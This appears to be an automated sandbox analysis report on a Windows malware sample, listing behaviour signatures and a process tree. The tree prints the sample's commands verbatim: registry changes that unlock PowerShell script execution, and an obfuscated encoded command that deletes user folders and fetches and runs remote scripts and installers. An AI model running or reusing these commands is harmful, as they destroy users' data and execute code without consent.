Resubmissions
06/10/2026, 00:23
261006-apsp6sxbqe1006/10/2026, 00:23
261006-apsp6sxbqd06/10/2026, 00:23
261006-apr4msxw5k17/09/2026, 15:19
260917-sqetta1vax1017/09/2026, 15:17
260917-spahpsseqa17/09/2026, 15:12
260917-sk9f8sselb117/09/2026, 15:04
260917-sfwdtasdpa117/09/2026, 14:57
260917-sbv79a1sev616/09/2026, 01:33
260916-by1yksyx6j1005/09/2026, 14:23
260905-rp7b1atsdx10Analysis
- user interaction
yes - max time kernel
1800s - max time network
1802s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
05/07/2026, 16:49
General
- Target 1705198765139_fttgrop091727639.exe
- Size 5.4MB
- Sample260705-vbv9csd141
- SHA256 d491cba96d705dc81d5fdf190d83c1b7409337e12c81a611339b5a0276b14528
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Using powershell.exe command.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 24 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Drops file in System32 directory 17 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 64 IoCs
- Executes dropped EXE 64 IoCs
- Launches sc.exe 36 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Loads dropped DLL 37 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Checks whether UAC is enabled 1 TTPs 15 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 40 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 4 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 11 IoCs
- Modifies Internet Explorer settings 1 TTPs 10 IoCs
- Modifies data under HKEY_USERS 27 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 48 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs ping.exe 1 TTPs 33 IoCs
- Suspicious behavior: AddClipboardFormatListener 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 33 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe" --local-service2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe" --backend3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe" --local-control2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004B0 0x00000000000003F41⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Execution Policy Bypass.cmd" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d "Unrestricted" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d "Unrestricted" /f2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\Desktop\CompleteRestart.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\Desktop\settup.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACQAVQAgAD0AIAAiAEQAbwB3AG4AbABvAGEAZABzACIALAAiAFAAaQBjAHQAdQByAGUAcwAiACwAIgBWAGkAZABlAG8AcwAiACwAIgBNAHUAcwBpAGMAIgAsACIARABvAGMAdQBtAGUAbgB0AHMAIgAsACIARABlAHMAawB0AG8AcAAiAAoAIAAgACAAIAAkAFUAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewBHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAEgATwBNAEUAXAAkAF8AIgAgAC0AUgBlAGMAdQByAHMAZQAgAHwAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARQBBACAAMAB9AAoAIAAgACAAIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoAUABVAEIATABJAEMAXABEAGUAcwBrAHQAbwBwACIAIAAtAFIAZQBjAHUAcgBzAGUAIAB8ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBGAG8AcgBjAGUAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEUAQQAgADAACgAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACIAJABlAG4AdgA6AFQARQBNAFAAXAAqACIAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAAKACAAIAAgACAAQwBsAGUAYQByAC0AUgBlAGMAeQBjAGwAZQBCAGkAbgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAAoACgAgACAAIAAgACQAUAAgAD0AIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgAiAAoAIAAgACAAIAAkAFcAIAA9ACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVwBlAGIAXABXAGEAbABsAHAAYQBwAGUAcgBcAFcAaQBuAGQAbwB3AHMAXABpAG0AZwAxADkALgBqAHAAZwAiAAoACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAFQAaABlAG0AZQBzAFwAUABlAHIAcwBvAG4AYQBsAGkAegBlACIAIAAiAFMAeQBzAHQAZQBtAFUAcwBlAHMATABpAGcAaAB0AFQAaABlAG0AZQAiACAAMAAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIAJABQAFwAVABoAGUAbQBlAHMAXABQAGUAcgBzAG8AbgBhAGwAaQB6AGUAIgAgACIAQQBwAHAAcwBVAHMAZQBMAGkAZwBoAHQAVABoAGUAbQBlACIAIAAwAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABDAG8AbgB0AHIAbwBsACAAUABhAG4AZQBsAFwARABlAHMAawB0AG8AcAAiACAAIgBXAGEAbABsAFAAYQBwAGUAcgAiACAAJABXAAoAIAAgACAAIAAkAFMAIAA9ACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABTAHkAcwB0AGUAbQBQAGEAcgBhAG0AZQB0AGUAcgBzAEkAbgBmAG8AKABpAG4AdAAgAGEALAAgAGkAbgB0ACAAcAAsACAAcwB0AHIAaQBuAGcAIAB2ACwAIABpAG4AdAAgAGYAKQA7ACcACgAgACAAIAAgAEEAZABkAC0AVAB5AHAAZQAgAC0ATQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAUwAgAC0ATgBhAG0AZQAgACIAVwAiACAALQBOAGEAbQBlAHMAcABhAGMAZQAgACIAVwBpAG4AIgA7ACAAWwBXAGkAbgAuAFcAXQA6ADoAUwB5AHMAdABlAG0AUABhAHIAYQBtAGUAdABlAHIAcwBJAG4AZgBvACgAMgAwACwAIAAwACwAIAAkAFcALAAgADMAKQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAHcAbQAiACAAIgBGAG8AcgBjAGUARQBmAGYAZQBjAHQATQBvAGQAZQAiACAALQBWAGEAbAB1AGUAIAAyACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAKACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIAJABQAFwARQB4AHAAbABvAHIAZQByAFwAVABhAHMAawBiAGEAbgBkACIAIAAiAEYAYQB2AG8AcgBpAHQAZQBzACIAIAAtAEUAQQAgADAACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAEUAeABwAGwAbwByAGUAcgBcAEEAZAB2AGEAbgBjAGUAZAAiACAAIgBTAGgAbwB3AFQAYQBzAGsAVgBpAGUAdwBCAHUAdAB0AG8AbgAiACAAMQAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIAJABQAFwARQB4AHAAbABvAHIAZQByAFwAQQBkAHYAYQBuAGMAZQBkACIAIAAiAFQAYQBzAGsAYgBhAHIATQBuACIAIAAwAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgAkAFAAXABTAGUAYQByAGMAaAAiACAAIgBTAGUAYQByAGMAaABiAG8AeABUAGEAcwBrAGIAYQByAE0AbwBkAGUAIgAgADAACgAgACAAIAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAZQB4AHAAbABvAHIAZQByACAALQBGAG8AcgBjAGUACgAgACAAIAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAZAB3AG0AIAAtAEYAbwByAGMAZQAKACAAIAAgACAACgAgACAAIAAgAHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAiAGMAdABmAG0AbwBuAC4AZQB4AGUAIgAKACAAIAAgACAAZwBwAHMAIAAiAFMAZQBhAHIAYwBoAEgAbwBzAHQAIgAgAC0ARQBBACAAMAAgAHwAIABzAGIAcAAgAC0ARgAKACAAIAAgACAAZwBwAHMAIAAiAFMAdABhAHIAdABNAGUAbgB1AEUAeABwAGUAcgBpAGUAbgBjAGUASABvAHMAdAAiACAALQBFAEEAIAAwACAAfAAgAHMAYgBwACAALQBGAAoACgAgACAAIAAgAFMAZQB0AC0AVABpAG0AZQBaAG8AbgBlACAALQBJAGQAIAAiAEEAcgBhAGIAaQBjACAAUwB0AGEAbgBkAGEAcgBkACAAVABpAG0AZQAiAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsAQwBVADoAXABDAG8AbgB0AHIAbwBsACAAUABhAG4AZQBsAFwASQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbABcAEcAZQBvACIAIAAtAE4AYQBtAGUAIAAiAE4AYQB0AGkAbwBuACIAIAAtAFYAYQBsAHUAZQAgACIAMQAyADEAIgAgAC0ARQBBACAAMAAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBOAG8AUAAgAC0AQwAgAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AFMAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEwAYQBuAGcAUABJAEQAJwAsACAAYAAkAFAASQBEACwAIAAnAFUAcwBlAHIAJwApADsAIABpAGYAKAAhACgARwBlAHQALQBXAGkAbgBVAHMAZQByAEwAYQBuAGcAdQBhAGcAZQBMAGkAcwB0ACkALgBMAGEAbgBnAHUAYQBnAGUAVABhAGcALgBDAG8AbgB0AGEAaQBuAHMAKAAnAGEAcgAtAEkAUQAnACkAKQB7AEkAbgBzAHQAYQBsAGwALQBMAGEAbgBnAHUAYQBnAGUAIABhAHIALQBJAFEAIAAtAEUAQQAgADAAOwAgAGAAJABsAD0ARwBlAHQALQBXAGkAbgBVAHMAZQByAEwAYQBuAGcAdQBhAGcAZQBMAGkAcwB0ADsAIABpAGYAKAAhACgAYAAkAGwALgBMAGEAbgBnAHUAYQBnAGUAVABhAGcAIAAtAGMAbwBuAHQAYQBpAG4AcwAgACcAYQByAC0ASQBRACcAKQApAHsAYAAkAGwALgBBAGQAZAAoACcAYQByAC0ASQBRACcAKQB9ADsAIABTAGUAdAAtAFcAaQBuAFUAcwBlAHIATABhAG4AZwB1AGEAZwBlAEwAaQBzAHQAIABgACQAbAAgAC0ARgBvAHIAYwBlAH0AIgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBOAG8AUAAgAC0AQwAgAGAAJABzAD0AMAA7ACAAdwBoAGkAbABlACgAIQAoAEcAZQB0AC0AVwBpAG4AVQBzAGUAcgBMAGEAbgBnAHUAYQBnAGUATABpAHMAdAApAC4ATABhAG4AZwB1AGEAZwBlAFQAYQBnAC4AQwBvAG4AdABhAGkAbgBzACgAJwBhAHIALQBJAFEAJwApACAALQBhAG4AZAAgAGAAJABzACAALQBsAHQAIAAzADAAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADIAOwAgAGAAJABzACsAKwB9ADsAIABpAGYAKAAoAEcAZQB0AC0AVwBpAG4AVQBzAGUAcgBMAGEAbgBnAHUAYQBnAGUATABpAHMAdAApAC4ATABhAG4AZwB1AGEAZwBlAFQAYQBnAC4AQwBvAG4AdABhAGkAbgBzACgAJwBhAHIALQBJAFEAJwApACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAA1AH0AOwAgAGAAJAB0AD0AWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQByAGkAYQBiAGwAZQAoACcATABhAG4AZwBQAEkARAAnACwAIAAnAFUAcwBlAHIAJwApADsAIABpAGYAKABgACQAdAApAHsAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEkAZAAgAGAAJAB0ACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgADAAOwAgAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AFMAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEwAYQBuAGcAUABJAEQAJwAsACAAYAAkAG4AdQBsAGwALAAgACcAVQBzAGUAcgAnACkAfQA7ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEkAZAAgAGAAJABQAEkARAAgAC0ARgBvAHIAYwBlACIACgAKACAAIAAgACAAJABBACAAPQAgACIAJABQAFwAUABvAGwAaQBjAGkAZQBzAFwAQQBzAHMAbwBjAGkAYQB0AGkAbwBuAHMAIgA7ACAAJABUACAAPQAgACIAJABQAFwAUABvAGwAaQBjAGkAZQBzAFwAQQB0AHQAYQBjAGgAbQBlAG4AdABzACIACgAgACAAIAAgAGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQApACkAewBOAGUAdwAtAEkAdABlAG0AIAAkAEEAIAAtAEYAbwByAGMAZQB9ADsAIABpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFQAKQApAHsATgBlAHcALQBJAHQAZQBtACAAJABUACAALQBGAG8AcgBjAGUAfQAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACQAQQAgACIATABvAHcAUgBpAHMAawBGAGkAbABlAFQAeQBwAGUAcwAiACAAIgAuAGUAeABlADsALgBtAHMAaQA7AC4AYgBhAHQAOwAuAGMAbQBkADsALgB2AGIAcwAiAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJABUACAAIgBTAGEAdgBlAFoAbwBuAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuACIAIAAxAAoACgAgACAAIAAgACIASABLAEwATQAiACwAIgBIAEsAQwBVACIAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiACQAewBfAH0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAIgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARQBBACAAMAAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiACQAewBfAH0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQAiACAALQBSAGUAYwB1AHIAcwBlACAALQBFAEEAIAAwAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgACIALQBOAG8AUAAgAC0AQwAgAGAAJAB1AD0AYAAkAGUAbgB2ADoAVABFAE0AUAArACcAXAAnACsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACkAKwAnAC4AZQB4AGUAJwA7AGkAdwByACAAJwBoAHQAdABwAHMAOgAvAC8AZABsAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAGMAaAByAG8AbQBlAC8AaQBuAHMAdABhAGwAbAAvAGwAYQB0AGUAcwB0AC8AYwBoAHIAbwBtAGUAXwBpAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAE8AdQB0ACAAYAAkAHUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAYAAkAHUAIAAnAC8AcwBpAGwAZQBuAHQAIAAvAGkAbgBzAHQAYQBsAGwAJwA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADEAMgAwADsAZwBwAHMAIAB8ACAAPwB7AGAAJABfAC4ATgBhAG0AZQAgAC0AbQBhAHQAYwBoACAAJwBjAGgAcgBvAG0AZQB8AGcAbwBvAGcAbABlACcAIAAtAG8AcgAgAGAAJABfAC4ARABlAHMAYwByAGkAcAB0AGkAbwBuACAALQBtAGEAdABjAGgAIAAnAGMAaAByAG8AbQBlAHwAZwBvAG8AZwBsAGUAJwB9ACAALQBFAEEAIAAwACAAfAAgAHMAdABvAHAALQBwAHIAbwBjAGUAcwBzACAALQBGADsAcgBpACAAYAAkAHUAIAAtAEYAIAAtAEUAQQAgADAAIgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAAIgAtAE4AbwBQACAALQBDACAAYAAkAHUAPQBgACQAZQBuAHYAOgBUAEUATQBQACsAJwBcACcAKwAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQArACcALgBlAHgAZQAnADsAaQB3AHIAIAAnAGgAdAB0AHAAcwA6AC8ALwBsAGEAcAB0AG8AcAAtAHUAcABkAGEAdABlAHMALgBiAHIAYQB2AGUALgBjAG8AbQAvAGwAYQB0AGUAcwB0AC8AdwBpAG4AeAA2ADQAJwAgAC0ATwB1AHQAIABgACQAdQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABgACQAdQAgACcALwBzAGkAbABlAG4AdAAgAC8AaQBuAHMAdABhAGwAbAAnADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAyADAAOwByAGkAIABgACQAdQAgAC0ARgAgAC0ARQBBACAAMAA7AGcAcABzACAAfAAgAD8AewBgACQAXwAuAE4AYQBtAGUAIAAtAG0AYQB0AGMAaAAgACcAYgByAGEAdgBlACcAIAAtAG8AcgAgAGAAJABfAC4ARABlAHMAYwByAGkAcAB0AGkAbwBuACAALQBtAGEAdABjAGgAIAAnAGIAcgBhAHYAZQAnAH0AIAAtAEUAQQAgADAAIAB8ACAAcwB0AG8AcAAtAHAAcgBvAGMAZQBzAHMAIAAtAEYAIgAKAAoAIAAgACAAIAAkAE0AIAA9ACAAJwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AbQBhAHMAcwBnAHIAYQB2AGUAbAAvAE0AaQBjAHIAbwBzAG8AZgB0AC0AQQBjAHQAaQB2AGEAdABpAG8AbgAtAFMAYwByAGkAcAB0AHMALwBtAGEAcwB0AGUAcgAvAE0AQQBTAC8AQQBsAGwALQBJAG4ALQBPAG4AZQAtAFYAZQByAHMAaQBvAG4ALQBLAEwALwBNAEEAUwBfAEEASQBPAC4AYwBtAGQAJwAKACAAIAAgACAAJABGACAAPQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABNAEEAUwAuAGMAbQBkACIACgAgACAAIAAgAHQAcgB5ACAAewAgAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAMwAwADcAMgA7ACAAJABSACAAPQAgAGkAcgBtACAAIgBoAHQAdABwAHMAOgAvAC8AJABNACIAIAB9ACAAYwBhAHQAYwBoACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAaQBmACAAKAAkAFIAKQAgAHsAIAAKACAAIAAgACAAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAEYAIAAkAFIACgAgACAAIAAgACAAIAAgACAAcwBhAHAAcwAgACQAZQBuAHYAOgBDAG8AbQBTAHAAZQBjACAAIgAvAGMAIABgACIAJABGAGAAIgAgAC8AaAB3AGkAZAAgAC8AcwBpAGwAZQBuAHQAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAFcAYQBpAHQAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMACgAgACAAIAAgACAAIAAgACAAcgBpACAAJABGACAALQBGACAALQBFAEEAIAAwAAoAIAAgACAAIAAgACAAIAAgAGcAcABzACAAIgBNAEEAUwBfAEEASQBPACIALAAgACIAUwBwAHAARQB4AHQAQwBvAG0ATwBiAGoAIgAgAC0ARQBBACAAMAAgAHwAIABzAGIAcAAgAC0ARgAKACAAIAAgACAAfQAKAA==3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\054siece\054siece.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BEA.tmp" "c:\Users\Admin\AppData\Local\Temp\054siece\CSCA51CDED7E744EDAA57DF6A06EDB80ED.TMP"5⤵
-
-
-
C:\Windows\system32\ctfmon.exe"C:\Windows\system32\ctfmon.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C [Environment]::SetEnvironmentVariable('LangPID', $PID, 'User'); if(!(Get-WinUserLanguageList).LanguageTag.Contains('ar-IQ')){Install-Language ar-IQ -EA 0; $l=Get-WinUserLanguageList; if(!($l.LanguageTag -contains 'ar-IQ')){$l.Add('ar-IQ')}; Set-WinUserLanguageList $l -Force}4⤵
- Command and Scripting Interpreter: PowerShell
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $s=0; while(!(Get-WinUserLanguageList).LanguageTag.Contains('ar-IQ') -and $s -lt 30){Start-Sleep -s 2; $s++}; if((Get-WinUserLanguageList).LanguageTag.Contains('ar-IQ')){Start-Sleep -s 5}; $t=[Environment]::GetEnvironmentVariable('LangPID', 'User'); if($t){Stop-Process -Id $t -Force -EA 0; [Environment]::SetEnvironmentVariable('LangPID', $null, 'User')}; Stop-Process -Id $PID -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $u=$env:TEMP+'\'+(Get-Random)+'.exe';iwr 'https://dl.google.com/chrome/install/latest/chrome_installer.exe' -Out $u;Start-Process $u '/silent /install';Start-Sleep -s 120;gps | ?{$_.Name -match 'chrome|google' -or $_.Description -match 'chrome|google'} -EA 0 | stop-process -F;ri $u -F -EA 04⤵
- Badlisted process makes network request
